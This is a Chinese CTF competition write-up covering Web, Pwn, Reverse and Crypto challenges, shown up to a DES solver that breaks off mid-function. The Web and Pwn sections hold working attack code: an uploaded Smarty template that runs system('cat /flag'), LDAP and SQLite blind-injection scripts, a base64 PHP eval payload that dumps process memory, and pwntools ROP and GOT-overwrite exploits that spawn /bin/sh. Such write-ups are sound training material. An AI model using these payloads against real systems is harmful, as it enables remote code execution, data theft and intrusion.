*
开头题目表示赛后补题
Web
[签到]flag
等一个一个拼出来,业余web手的笨B做题法
[萌]odd_upload
题目描述:目录结构与官方项目example相同
所以去查看smarty
的目录结构,同时上传文件发现过滤了php
相关的很多后缀,但.tpl
没有过滤,同时可以控制上传的目录,所以向./templates
目录上传header.tpl
覆盖原有的内容,添加一句:{system('cat /flag')}
,之后再重新访问题目链接
就能获取flag。
flag{1ae85554-c785-4321-8d77-0f68974929f8}
easyinject
源码中提示了用户名为guest,密码为EC77k8RHquAMLKAX,登陆后提示
The flag is a special email address username.It is attribute of one account and there are multiple accounts in the directory. flag is composed of a-z0-9_
说实话这个提示看得我云里雾里,attribute我能理解,directory是啥?
按照常规sql注入没发现什么注入点,但是用fuzz跑的时候发现如果用户名含有’(‘或者’)‘就会报错:
Warning: ldap_search(): Search: Bad search filter in /var/www/html/index.php on line 48
Warning: ldap_get_entries() expects parameter 2 to be resource, boolean given in /var/www/html/index.php on line 49
有报错就好说了,后端用的是ldap协议,flag是某个用户的用户名,可以直接用通配符*盲注,由于有多个用户,需要递归查找,exp如下:
import requests
url = "http://47.106.172.144:2333/"
alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789_'
def search(flag):
for c in alphabet:
# print(flag+c+'*')
r = requests.get(url, params={'user':flag+c+'*', 'pass':'1'})
if '找不到用户' in r.text:
pass
elif '查询用户不唯一' in r.text or '密码错误' in r.text:
# print(c+'\n'+r.text)
print(flag+c)
search(flag+c)
else:
print('Error: ['+c+']\n'+r.text)
search('')
*hideandseek
和web没有啥关系,和二进制全是关系。
先附上打本地的DockerFile:
FROM php:8.1.0
ADD ./src /var/www/html
ADD ./flag /flag
WORKDIR /var/www/html/
RUN chmod -R 0555 /var/www/html/
CMD ["php", "-S", "0.0.0.0:8000", "-t", "/var/www/html"]
这题上先读flag,然后把flag给覆盖了,你只有一次执行任意代码的机会。
思路上来一下子就指向了/proc
,进程目录,我们肯定是能通过分析这个进程把flag拿到了。目前已知的/proc
的博客有:
第一反应是读fd,看看文件的符号链接,如果fopen了,但没fclose就有可能在fd里找到,本地一试发现没有。
于是考虑利用别的,比如./exe
,是一个ELF文件,但可惜strings ./exe
没用,因为flag变量是在运行时读取的,生成elf是不存在这个字符串的,于是就读./mem
,/proc/{PID}/mem
是可用于访问进程的内存的页面。但是发现读取失败了,报错如下:
cat mem: Input/output error
搜到了解释原因:https://unix.stackexchange.com/questions/6301/how-do-i-read-from-proc-pid-mem-under-linux
/proc/$pid/mem
显示$pid 内存的内容与进程中的映射方式相同,即伪文件中偏移x处的字节与进程中地址x处的字节相同。如果在进程中未映射地址,则从文件中的相应偏移量读取返回EIO
(输入/输出错误)。例如,由于进程中的第一页永远不会被映射(因此取消引用NULL
指针会完全失败,而不是无意中访问实际内存),因此读取 的第一个字节/proc/$pid/mem
总是会产生 I/O 错误。
同时也拿到了一份用python拿内存信息的脚本:
import re
maps_file = open("/proc/self/maps", 'r')
mem_file = open("/proc/self/mem", 'rb', 0)
output_file = open("self.dump", 'wb')
for line in maps_file.readlines(): # for each mapped region
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
if m.group(3) == 'r': # if this is a readable region
start = int(m.group(1), 16)
end = int(m.group(2), 16)
mem_file.seek(start) # seek to region start
chunk = mem_file.read(end - start) # read region contents
output_file.write(chunk) # dump contents to standard output
maps_file.close()
mem_file.close()
output_file.close()
我盲猜flag就在内存里,但我也不是打二进制的,也不知道在哪,于是就打算把整个chunk全部正则匹配即可。
把上述代码翻译成php,修改部分内容如下:
<?php
$maps_file = fopen("/proc/self/maps", "r");
$mem_file = fopen("/proc/self/mem", "rb");
while(! feof($maps_file)) {
$line = fgets($maps_file);//fgets()函数从文件指针中读取一行
$m = preg_match("/([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])/", $line, $match);
if($match[3] == 'r') {
$start = hexdec($match[1]);
$end = hexdec($match[2]);
fseek($mem_file, $start);
$chunk = fread($mem_file, $end - $start);
if(preg_match("/flag\{.*\}/", $chunk)) {
preg_match("/(flag\{.*\})/", $chunk, $ans);
var_dump($ans);
}
}
}
fclose($maps_file);
fclose($mem_file);
?>
最后用base64+urlencode传参(有了安洵杯的教训,base64一定要编码),最终payload如下:
http://5b599005-3dfe-44e4-ac13-96fc3b194f3e.nssctf.neusoft.edu.cn/?eval=eval(base64_decode(%22JG1hcHNfZmlsZSA9IGZvcGVuKCIvcHJvYy9zZWxmL21hcHMiLCAiciIpOwokbWVtX2ZpbGUgPSBmb3BlbigiL3Byb2Mvc2VsZi9tZW0iLCAicmIiKTsKd2hpbGUoISBmZW9mKCRtYXBzX2ZpbGUpKSB7CiAgICAgICAgJGxpbmUgPSBmZ2V0cygkbWFwc19maWxlKTsvL2ZnZXRzKCnlh73mlbDku47mlofku7bmjIfpkojkuK3or7vlj5bkuIDooYwKICAgICAgICAgICAgJG0gPSBwcmVnX21hdGNoKCIvKFswLTlBLUZhLWZdKyktKFswLTlBLUZhLWZdKykgKFstcl0pLyIsICRsaW5lLCAkbWF0Y2gpOwogICAgICAgICAgICBpZigkbWF0Y2hbM10gPT0gJ3InKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0YXJ0ID0gaGV4ZGVjKCRtYXRjaFsxXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICRlbmQgPSBoZXhkZWMoJG1hdGNoWzJdKTsKICAgICAgICAgICAgICAgICAgICAgICAgZnNlZWsoJG1lbV9maWxlLCAkc3RhcnQpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGNodW5rID0gZnJlYWQoJG1lbV9maWxlLCAkZW5kIC0gJHN0YXJ0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goIi9mbGFnXHsuKlx9LyIsICRjaHVuaykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZWdfbWF0Y2goIi8oZmxhZ1x7LipcfSkvIiwgJGNodW5rLCAkYW5zKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFyX2R1bXAoJGFucyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KfQpmY2xvc2UoJG1hcHNfZmlsZSk7CmZjbG9zZSgkbWVtX2ZpbGUpOw%3D%3D%22));
*wschat
前后端交互用的是socket io,参数格式用的是protobuf,前端的js加了很多混淆和反调试。可以在这个网站https://lelinhtinh.github.io/de4js/做个简单的恢复后再看。
贴一下我恢复后的还算是能看的关键代码:
<html>
...
<script src="//cdn.bootcss.com/socket.io/2.1.1/socket.io.js"></script>
<script src="protobuf.min.js"></script>
<script>
...
let sock = io.connect('ws://' + window.location.host + '/');
var WSMessage, wsmessage, buffer;
protobuf.load('chat.proto', function (err, _0x75e501) {
if (err)
throw err;
LoginReq = _0x75e501.lookup('wschat.chat.LoginReq'), RegReq = _0x75e501.lookup('wschat.chat.RegReq'), ServerRsp = _0x75e501.lookup('wschat.chat.ServerRsp'), MsgReq = _0x75e501.lookup('wschat.chat.MsgReq'), LogoutReq = _0x75e501.lookup('wschat.chat.LogoutReq');
}), window.onload = function () {
let _0x1f4215 = '',
btn1 = document.getElementById('btn1'),
btn2 = document.getElementById('btn2'),
btn_send = document.getElementById('btn_send'),
user = document.getElementById('user'),
pass = document.getElementById('pass'),
txt1 = document.getElementById('txt1'),
ul1 = document.getElementById('ul1');
btn1.onclick = function () {
var _0x3689c9 = RegReq.create({
'username': user.value,
'password': pass.value
}),
_0x38c60d = RegReq.encode(_0x3689c9).finish();
sock.emit('reg', _0x38c60d.slice().buffer);
}, sock.on('reg_ret', (_0x77442, _0x4d8078) => {
_0x77442 ? alert(_0x4d8078) : alert(_0x4d8078);
}), btn2.onclick = function () {
if (!/^\w{1,16}$/ ['test'](user.value)) {
alert('用户名不符合规范');
return;
}
if (!/^\w{1,16}$/ ['test'](pass.value)) {
alert('密码不符合规范');
return;
}
var _0xea8ad4 = LoginReq.create({
'username': user.value,
'password': pass.value
}),
_0x581e63 = LoginReq.encode(_0xea8ad4).finish();
sock.emit('login', _0x581e63.slice().buffer);
}, sock.on('login_ret', (_0x253784, _0x4ca143) => {
_0x253784 ? alert(_0x4ca143) : (_0x1f4215 = user.value, alert(_0x4ca143));
}), btn_send.onclick = function () {
var _0x254c70 = MsgReq.create({
'msg': txt1.value
}),
_0x56ebdb = MsgReq.encode(_0x254c70).finish();
sock.emit('msg', _0x56ebdb.slice().buffer);
}, sock.on('msg', (_0x2378cb, _0x4ce8f4) => {
let _0x3ca130 = document.createElement('li');
_0x3ca130.innerHTML = '<h3>' + _0x2378cb + '</h3><p>' + _0x4ce8f4 + '</p>', ul1.appendChild(_0x3ca130);
}), sock.on('msg_ret', (_0x491ba1, _0x25dec1) => {
if (_0x491ba1)
alert('发送失败:' + _0x25dec1);
else {
let _0x4a7033 = document.createElement('li');
_0x4a7033.className = 'mine', _0x4a7033.innerHTML = '<h3>' + _0x1f4215 + '</h3><p>' + txt1.value + '</p>', ul1.appendChild(_0x4a7033), txt1.value = '';
}
});
}, setInterval(function () {
_0x6c017f();
}, 4000);
...
</script>
</html>
这段代码引入了socket io和protobuf,socket io有reg、reg_ret、login、login_ret、msg、msg_ret事件,传递的参数均使用protobuf打包,看一下protobuf定义文件chat.proto:
package wschat;
message chat {
message LoginReq {
required string username = 1;
required string password = 2;
}
message RegReq {
required string username = 1;
required string password = 2;
}
message ServerRsp {
required int32 retcode = 1;
optional string reply = 2;
}
message MsgReq {
required string msg = 1;
}
message LogoutReq {
}
}
回到上面的代码,其中登录接口是前端校验,限制用户名密码只能为1-16位字母数字下划线,前端校验可以用burp替换为空。
题目中提示网站为nodejs + sqlite,尝试一下sqlite注入,首先注册一个用户名密码均为admin的账户,然后用户名输入admin’,密码admin,提示数据库出错,用户名尝试admin’–,提示登录成功,存在注入点。
由于是盲注,socket io实现又很慢,只能硬撸出一个脚本。参考 https://developers.google.com/protocol-buffers/docs/pythontutorial 实现protobuf,参考 https://python-socketio.readthedocs.io/en/latest/ 实现socket io。
在 https://developers.google.com/protocol-buffers/docs/downloads 下载protoc,然后把.proto文件编译成python文件:
protoc -I=chat.proto目录 --python_out=输出目录 chat.proto路径
然后运行脚本:
import socketio
import time
import string
import chat_pb2
url = 'http://4b89d5d3-7df8-4a8c-9352-08dbc410f835.nssctf.neusoft.edu.cn/'
sio = socketio.Client()
LoginReq = chat_pb2.chat.LoginReq()
RegReq = chat_pb2.chat.RegReq()
ServerRsp = chat_pb2.chat.ServerRsp()
MsgReq = chat_pb2.chat.MsgReq()
LogoutReq = chat_pb2.chat.LogoutReq()
# alphabet = string.ascii_letters + string.digits + '{_.,}'
# alphabet = string.printable + string.whitespace
alphabet = string.ascii_lowercase + string.digits
@sio.event
def reg_ret(err, data):
global _err, _data, recvFlag
# print(err, data)
_err = err
_data = data
recvFlag = True
@sio.event
def login_ret(err, data):
global _err, _data, recvFlag
# print(err, data)
_err = err
_data = data
recvFlag = True
@sio.event
def msg(title, content):
print(title, content)
@sio.event
def msg_ret(err, data):
print(err, data)
@sio.event
def connect():
print('connection established')
@sio.event
def disconnect():
print('disconnected from server')
def register(username='admin', password='admin'):
RegReq.username = username
RegReq.password = password
sio.emit('reg', RegReq.SerializeToString())
while not recvFlag:
pass
err, data = _err, _data
init()
return err, data
def login(username='admin', password='admin'):
LoginReq.username = username
LoginReq.password = password
sio.emit('login', LoginReq.SerializeToString())
while not recvFlag:
pass
err, data = _err, _data
init()
return err, data
def init():
global recvFlag, _err, _data
recvFlag = False
_err = None
_data = None
if __name__ == '__main__':
sio.connect(url)
init()
register()
# payload = "select group_concat(tbl_name) from sqlite_master where type='table'"
# payload = "select sql from sqlite_master where type='table' and tbl_name='f16g_1s_1n_th1s_table'"
payload = "select group_concat(f16g) from f16g_1s_1n_th1s_table"
length = 0
for i in range(1, 100):
err, data = login("admin' and length((%s))=%d--"%(payload, i))
# print(err, data)
if err == 1:
pass
elif err == 0:
length = i
break
else:
print('Error!', err, data)
print('Length:', length)
# length = 6
flag = ''
for i in range(1, length+1):
found = False
for c in alphabet:
err, data = login("admin' and hex(substr((%s),%d,1))='%s'--"%(payload, i, c.encode().hex()))
# print(flag+c, err, data)
if err == 1:
pass
elif err == 0:
found = True
flag += c
print(flag)
break
else:
print('Error!', err, data)
if not found:
flag += '\0'
# version: 3.34.0
# table: user_table,sqlite_sequence,f1ag_not_in_here,test_table,f16g_1s_1n_th1s_table
# column: "f16g" TEXT
# f ag 34e7472f ffcf 400d aec3 a3b4fe390c1d
# flag{34e7472f-ffcf-400d-aec3-a3b4fe390c1d}
sio.disconnect()
吐槽一下,socket io是基于事件触发的,有点类似于智能合约,请求与响应没有严格的对应关系,只能把请求和响应封装成一个原子操作,模拟传统的HTTP请求,代价就是速度很慢很慢。sql注入部分就是常见的sqlite注入了,但是爆flag的时候不知道为什么有的位即使把0-255跑遍也跑不出来,猜测可能是使用了中文,一个字符不只一个字节,这种情况下的爆破时间过长,所以在脚本中如果常用字符找不到就用\0占位,缺失的字符按照uuid的格式猜就行了。
flag{34e7472f-ffcf-400d-aec3-a3b4fe390c1d}
Pwn
[签到]NssShop
随便输了个数
justdoit
有一个汇编在调用read_long函数的最后,配合上atol可以任意往上往下更改栈的位置,利用这一点在栈上构造rop用ret2libc拿shell
add rbp rax
以下是exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process("./justdoit.1")
p = remote("47.106.172.144", 65004)
elf = ELF("./justdoit.1")
libc = ELF("./libc-2.23.so")
pop_rdi = 0x00000000004012b3
main = 0x4011D5
p.recvuntil("name?")
p.send(p64(main)+ p64(main) + p64(main))
p.recvuntil("s??")
p.sendline(b"-24")
p.recvuntil("name?")
p.send(p64(pop_rdi) + p64(elf.got["puts"]) + p64(elf.plt["puts"]))
p.recvuntil("s??")
p.sendline(b"-40")
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) - libc.sym["puts"]
print(hex(libc.address))
p.recvuntil("name?")
p.send(p64(pop_rdi) + p64(libc.search(b'/bin/sh').__next__()) + p64(libc.sym['system']))
p.recvuntil("s??")
p.sendline(b"-40")
p.interactive()
reallNeedGoodLuck
任意地址四字节写, 改error的got表为main,改atoi的got表为system,撞上的几率很大,直接手动爆破就行
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
libc = ELF("./libc-2.23.so")
p=remote("47.106.172.144", 65003)
# p = process("./reallNeedGoodLuck.1")
# gdb.attach(p)
p.recvuntil("good")
p.send(b"\xa9\x11\x40\x00")
p.recvuntil("luck!")
p.sendline(b"4210744")
p.recvuntil("good")
p.send(b"\x00\x00\xa0\xf3")
p.recvuntil("luck!")
p.sendline(b"4210734")
print(hex(libc.sym["system"]))
p.send(b"\x00\x00\x00\x00")
p.sendline(b"/bin/sh\x00")
p.send(b"\x00\x00\x00\x00")
p.sendline(b"/bin/sh\x00")
p.interactive()
Reverse
[签到]Signin
[萌新]happyCTF
s = 'rxusoCqxw{yqK`{KZqag{r`i'
for i in s:
print(chr(ord(i)^0x14),end='')
#flag{Welcome_to_Neusoft}
Remember Crypt 4
rc4加密,根据密钥解密即可
def __rc4_init(key):
keylength = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i]
return S
def rc4_crypt(key, data):
S = __rc4_init(key)
i = j = 0
result = b''
for a in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = (a ^ S[(S[i] + S[j]) % 256]).to_bytes(1, 'big')
result += k
return result
l = [0x9E, 0xE7, 0x30, 0x5F, 0xA7, 0x01, 0xA6, 0x53, 0x59, 0x1B, 0x0A, 0x20, 0xF1, 0x73, 0xD1, 0x0E, 0xAB, 0x09, 0x84, 0x0E, 0x8D, 0x2B]
n = []
for i in l:
n.append(i^0x22)
from libnum import n2s, s2n
def convert(k):
ret = []
while k > 0:
ret.append(k & 0xff)
k >>= 8
return ret[::-1]
print(rc4_crypt(convert(s2n('12345678abcdefghijklmnopqrspxyz')),n))
#flag{nice_to_meet_you}
EasyRe
用信号量实现的VM,先手动反汇编
code = [
17, 52, 0, 42, 5, 16, 20, 9, 23, 0, 36, 5, 3, 17, 29, 6, 0, 0, 5, 3,
17, 64, 6, 0, 72, 5, 17, 29, 23, 14, 1, 21, 4, 15, 1, 22, 2, 0, 0, 4,
3, 5, 16, 20, 50, 5, 9, 2, 19, 29, 5, 18, 21, 4, 16, 20, 61, 10, 1,
19, 52, 3, 4, 18, 14, 1, 21, 4, 7, 1, 22, 2, 0, 0, 4, 3, 5, 16, 20,
85, 5, 9, 1, 19, 64, 5, 18
]
sub_400E1D = "push({});"
sub_400E78 = "pop({});"
sub_400F16 = "{} += {};"
sub_400FA8 = "{} -= {};"
eip = 0 # 20
eax = 0 # 16
ebx = 0 # 17
ecx = 0 # 18
edx = 0 # 19
memory = [2] * 0x1000
memory2 = [1] * 50
while eip < len(code):
cur_op = code[eip]
if cur_op == 0:
cur_arg = code[eip + 1]
print ("_%02X:" % (eip), sub_400E1D.format(cur_arg))
edx += 1
memory[edx] = cur_arg
eip += 1
elif cur_op == 1:
cur_arg = "eax"
print ("_%02X:" % (eip), sub_400E1D.format(cur_arg))
edx += 1
memory[edx] = eax
elif cur_op == 2:
cur_arg = "ebx"
print ("_%02X:" % (eip), sub_400E1D.format(cur_arg))
edx += 1
memory[edx] = ebx
elif cur_op == 3:
cur_arg = "ecx"
print ("_%02X:" % (eip), sub_400E1D.format(cur_arg))
edx += 1
memory[edx] = ecx
elif cur_op == 4:
cur_arg = "eax"
edx -= 1
print ("_%02X:" % eip, sub_400E78.format(cur_arg))
eax = memory[edx]
elif cur_op == 5:
cur_arg = "ebx"
edx -= 1
print ("_%02X:" % eip, sub_400E78.format(cur_arg))
ebx = memory[edx]
elif cur_op == 6:
cur_arg = "ecx"
edx -= 1
print ("_%02X:" % eip, sub_400E78.format(cur_arg))
ecx = memory[edx]
elif cur_op == 7:
eax += ebx
print ("_%02X:" % eip, "eax += ebx;")
elif cur_op == 8:
cur_arg = code[eip + 1]
print ("_%02X:" % eip, sub_400F16.format("eax", cur_arg))
eax += cur_arg
eip += 1
elif cur_op == 9:
cur_arg = code[eip + 1]
print ("_%02X:" % eip, sub_400F16.format("ebx", cur_arg))
ebx += cur_arg
eip += 1
elif cur_op == 10:
cur_arg = code[eip + 1]
print ("_%02X:" % eip, sub_400F16.format("ecx", cur_arg))
ecx += cur_arg
eip += 1
elif cur_op == 11:
eax -= ebx
print ("_%02X:" % eip, "eax -= ebx;")
elif cur_op == 12:
cur_arg = code[eip + 1]
print ("_%02X:" % eip, sub_400FA8.format("eax", cur_arg))
eax -= cur_arg
eip += 1
elif cur_op == 13:
cur_arg = code[eip + 1]
print ("_%02X:" % eip, sub_400FA8.format("ebx", cur_arg))
ebx -= cur_arg
eip += 1
elif cur_op == 14:
cur_arg = code[eip + 1]
print ("_%02X:" % eip, sub_400FA8.format("ecx", cur_arg))
eip += 1
elif cur_op == 15:
eax ^= ebx
print ("_%02X:" % eip, f"eax ^= ebx;")
elif cur_op == 16:
zf = (eax == ebx)
print ("_%02X:" % eip, f"zf = (eax == ebx);")
elif cur_op == 17:
cur_arg = code[eip + 1]
print ("_%02X:" % eip, f"push(eip+2); eip = {hex(cur_arg)};")
memory[edx] = eip
edx += 1
eip += 1
elif cur_op == 18:
edx -= 1
print ("_%02X:" % eip, f"pop(eip);")
elif cur_op == 19:
cur_arg = code[eip + 1]
print ("_%02X:" % eip, f"eip = {hex(cur_arg)};")
eip += 1
elif cur_op == 20:
cur_arg = code[eip + 1]
print ("_%02X:" % eip, f"if zf: eip = {hex(cur_arg)};")
eip += 1
elif cur_op == 21:
memory[edx] = memory2[ecx]
print ("_%02X:" % eip, f"push(memory2[ecx]);")
edx += 1
elif cur_op == 22:
edx -= 1
memory2[ecx] = memory[edx]
print ("_%02X:" % eip, f"pop(memory2[ecx]);")
elif cur_op == 23:
print ("_%02X:" % eip, "break;")
eip += 1
拿到反汇编结果
_00: push(eip+2); eip = 0x34;
_02: push(42);
_04: pop(ebx);
_05: zf = (eax == ebx);
_06: if zf: eip = 0x9;
_08: break;
_09: push(36);
_0B: pop(ebx);
_0C: push(ecx);
_0D: push(eip+2); eip = 0x1d;
_0F: pop(ecx);
_10: push(0);
_12: pop(ebx);
_13: push(ecx);
_14: push(eip+2); eip = 0x40;
_16: pop(ecx);
_17: push(72);
_19: pop(ebx);
_1A: push(eip+2); eip = 0x1d;
_1C: break;
_1D: ecx -= 1;
_1F: push(memory2[ecx]);
_20: pop(eax);
_21: eax ^= ebx;
_22: push(eax);
_23: pop(memory2[ecx]);
_24: push(ebx);
_25: push(0);
_27: pop(eax);
_28: push(ecx);
_29: pop(ebx);
_2A: zf = (eax == ebx);
_2B: if zf: eip = 0x32;
_2D: pop(ebx);
_2E: ebx += 2;
_30: eip = 0x1d;
_32: pop(ebx);
_33: pop(eip);
_34: push(memory2[ecx]);
_35: pop(eax);
_36: zf = (eax == ebx);
_37: if zf: eip = 0x3d;
_39: ecx += 1;
_3B: eip = 0x34;
_3D: push(ecx);
_3E: pop(eax);
_3F: pop(eip);
_40: ecx -= 1;
_42: push(memory2[ecx]);
_43: pop(eax);
_44: eax += ebx;
_45: push(eax);
_46: pop(memory2[ecx]);
_47: push(ebx);
_48: push(0);
_4A: pop(eax);
_4B: push(ecx);
_4C: pop(ebx);
_4D: zf = (eax == ebx);
_4E: if zf: eip = 0x55;
_50: pop(ebx);
_51: ebx += 1;
_53: eip = 0x40;
_55: pop(ebx);
_56: pop(eip);
发现其实是调用了几个函数,分别在0x34、0x40、0x1D
0x34处的函数判断了长度,0x1D处的函数从后往前异或数字,每次加2,0x40处的函数从后往前进行加法,数字每次加1
所以最后的加密算法为:首先从后往前 ^36, ^38, ^40,随后从后往前+0, +1, +2…,最后从后往前 ^72, ^74, ^76…
反向解密即可
s2 = [
0xA3, 0xD8, 0xAC, 0xA9, 0xA8, 0xD6, 0xA6, 0xCD, 0xD0, 0xD5,
0xF7, 0xB7, 0x9C, 0xB3, 0x31, 0x2D, 0x40, 0x5B, 0x4B, 0x3A,
0xFD, 0x57, 0x42, 0x5F, 0x58, 0x52, 0x54, 0x1B, 0x0C, 0x78,
0x39, 0x2D, 0xD9, 0x3D, 0x35, 0x1F, 0x09, 0x41, 0x40, 0x47,
0x42, 0x11
]
flag = ''
x = 36
y = 0
z = 72
for i in s2[::-1]:
flag += chr(((i ^ z) - y) ^ x)
x += 2
y += 1
z += 2
print (flag[::-1])
# 'flag{Now_Y0u_Know_th4_Signa1_0f_Linux!!!!}'
Crypto
[萌新]素数
使用gmpy2生成10个大素数,然后依次提交即可
[签到]键盘侠
根据题目名称,猜测和键盘有关系
将密文放入键盘的对应位置后,发现一组密文在键盘上构成一个图案,这个图案是一个字母
比如UYTGBNM在键盘上组成一个C,同样的方式和可以还原出其他字母
silent_peeper
离散对数,考虑幂只有40bit,用BSGS即可解出答案。
sage: p = 17480715736546509273132356167852223654917350291331787539356496312333028105252468745075491024000992015452563532
....: 520952698743383378549938420481917954954410649849158983419586000890687503941868419125253760412312965974672161440234
....: 6449135195832955793815709136053198207712511838753919608894095907732099313139446299843
....: g = 41899070570517490692126143234857256603477072005476801644745865627893958675820606802876173648371028044404957307
....: 185876963051595214534530501331532626624926034521316281025445575243636197258111995884364277423716373007329751928366
....: 973332463469104730271236078593527144954324116802080620822212777139186990364810367977
....:
sage: bsgs(mod(g,p),mod(A,p),(0,1<<40))
822690494337
sage: bsgs(mod(g,p),mod(B,p),(0,1<<40))
621209248538
sage: key = pow(A, 621209248538 ,p)
sage: key
49490143664250726340234715933627573928019204778410313862054713655398194526581099674219755475997125892095025977920719640048704962181220475413665581922989858463397985369540020911109237604500080688916224884254427061443849735076051958183562833019840975221087968773423237208708556105725003184929141476854095400756
>>> from Crypto.Util.number import *
>>> from Crypto.Cipher import AES
>>> ciphertext = 0xed5c68ebb65aa3a13afb259cf3984ce60bdc54b7ef918b850745df850cf4c450b02216c0c6e67ed501a17e516496cd6c
>>> key = 49490143664250726340234715933627573928019204778410313862054713655398194526581099674219755475997125892095025977920719640048704962181220475413665581922989858463397985369540020911109237604500080688916224884254427061443849735076051958183562833019840975221087968773423237208708556105725003184929141476854095400756
>>> key = long_to_bytes(key)[:16]
>>> cipher = AES.new(key, AES.MODE_ECB)
>>> cipher.decrypt(int.to_bytes(ciphertext, ciphertext.bit_length()//8, 'big'))
b'flag{21384433-0dc7-413b-9d09-64cc97c99730}\x06\x06\x06\x06\x06\x06'
EzDES
题目是个DES一轮差分,有数学公式: $ L_1=R_0,R_1=L_0\oplus f(R_0,K_0) $,其中L1R1,L0R0都是已知量,只需要逆推到s盒附近,通过s盒的结果爆破s盒的输入即可,有65536种可能,然后用剩下几个明密文对验证,排除出剩一种结果。主要代码如下(请将S盒,IP盒等内容分别命名为IP_1.txt,sbox.txt等放入文件src子目录下,详情见代码)
#########################################################################
# Get roundKey
#########################################################################
# get the move number
def getMoveNum():
res = [0] * 16
for i in range(16):
if i == 0 or i == 1 or i == 8 or i == 15:
res[i] = 1
else:
res[i] = 2
return res
# get the PC_1 table and PC_2 table
def getPC():
PC_1_str = open('./src/PC_1.txt', 'r').read().split()
PC_2_str = open('./src/PC_2.txt', 'r').read().split()
PC_1 = [0] * len(PC_1_str)
PC_2 = [0] * len(PC_2_str)
for i in range(len(PC_1_str)):
PC_1[i] = int(PC_1_str[i])
for i in range(len(PC_2_str)):
PC_2[i] = int(PC_2_str[i])
return PC_1, PC_2
# cyclic shift to the left
def leftRow(arr, n):
temp = [0] * n
length = len(arr)
for i in range(n):
temp[i] = arr[i]
for i in range(length):
if i < length - n:
arr[i] = arr[i + n]
else:
arr[i] = temp[i - length + n]
return arr
# get the k0 - k16
def genKey(key):
C = [0] * 28
D = [0] * 28
K = [0] * 56
roundKey = [[0]*48 for i in range(16)]
PC_1, PC_2 = getPC()
moveNum = getMoveNum()
# get K+
for i in range(56):
K[i] = key[PC_1[i] - 1]
# get C0 and D0
for i in range(28):
C[i] = K[i]
D[i] = K[i + 28]
# get roundKey
for i in range(16):
C = leftRow(C, moveNum[i])
D = leftRow(D, moveNum[i])
for j in range(48):
if PC_2[j] <= 28:
roundKey[i][j] = C[PC_2[j] - 1]
else:
roundKey[i][j] = D[PC_2[j] - 28 -1]
return roundKey
#########################################################################
# Encrypt and Decrypt
#########################################################################
#get the IP and PC_1 table
def getIP():
IP_str = open('./src/IP.txt', 'r').read().split()
IP_1_str = open('./src/IP_1.txt', 'r').read().split()
IP = [0] * len(IP_str)
IP_1 = [0] * len(IP_1_str)
for i in range(len(IP_str)):
IP[i] = int(IP_str[i])
for i in range(len(IP_1_str)):
IP_1[i] = int(IP_1_str[i])
return IP, IP_1
# l1 xor l2
def xor(l1, l2):
res = [0] * len(l1)
for i in range(len(l1)):
res[i] = l1[i] ^ l2[i]
return res
# get the Extend table
def getE():
E_str = open('./src/extend.txt', 'r').read().split()
E = [0] * len(E_str)
for i in range(len(E_str)):
E[i] = int(E_str[i])
return E
# extend R from 32 bit to 48 bit
def extend(R):
res = [0] * 48
E = getE()
for i in range(48):
res[i] = R[E[i] - 1]
return res
# get sbox in 3 dim
def getSbox():
S_str = open('./src/sbox.txt', 'r').read().split()
S = [[[0]*16 for i in range(4)]for i in range(8)]
l = 0
for i in range(8):
for j in range(4):
for k in range(16):
S[i][j][k] = int(S_str[l])
l += 1
return S
# number in dec to number in bit
def d2b(n):
res = ''
while n > 0:
res += chr(n % 2 + ord('0'))
n = n // 2
while len(res) < 4:
res += '0'
return res[::-1]
# sbox replacement
def sbox(ipt):
S = getSbox()
res = [0] * 32
i, l = 0, 0
while i < 48:
j = ipt[i] * 2 + ipt[i + 5]
k = ipt[i + 1] * 8 + ipt[i + 2] * 4 + ipt[i + 3] * 2 + ipt[i + 4]
temp = d2b(S[l][j][k])
for m in range(4):
res[m + l * 4] = int(temp[m])
l += 1
i += 6
return res
# get Pbox
def getPbox():
P_str = open('./src/pbox.txt', 'r').read().split()
P = [0] * len(P_str)
for i in range(len(P_str)):
P[i] = int(P_str[i])
return P
# pbox replacement
def pbox(ipt):
P = getPbox()
res = [0] * 32
for i in range(32):
res[i] = ipt[P[i] - 1]
return res
# f function
def f(R, K):
# extend R
E_R = extend(R)
# E_R xor K
afterADD = xor(E_R, K)
# sbox
afterSbox = sbox(afterADD)
# linear displacement
res = pbox(afterSbox)
return res
# Encrypt function
def DES_Encrypt(plaintext, roundkey):
M_IP = [0] * 64
cipher = [0] * 64
afterF = [0] * 64
L = [[0] * 32 for i in range(17)]
R = [[0] * 32 for i in range(17)]
IP, IP_1 = getIP()
# get IP replace
for i in range(64):
M_IP[i] = plaintext[IP[i] - 1]
# get L0 and R0
for i in range(32):
L[0][i] = M_IP[i]
R[0][i] = M_IP[i + 32]
for i in range(1,17):
# L[i] = R[i - 1]
for j in range(32):
L[i][j] = R[i - 1][j]
R[i] = xor(L[i - 1], f(R[i - 1], roundkey[i - 1]))
# merge the R and L
for i in range(64):
if i < 32:
afterF[i] = R[16][i]
else:
afterF[i] = L[16][i - 32]
# using IP_1 replace to get cipher
for i in range(64):
cipher[i] = afterF[IP_1[i] - 1]
return cipher
#########################################################################
# Main
#########################################################################
# number in hex to number in bin
def hex_to_bin(a):
b = int(a, 16)
res = ''
while b > 0:
res += chr(b % 2 + ord('0'))
b = b // 2
while len(res) < 4:
res += '0'
return res[::-1]
# text in hex to text in bin
def h2b(s):
res = []
for i in s:
temp = hex_to_bin(i)
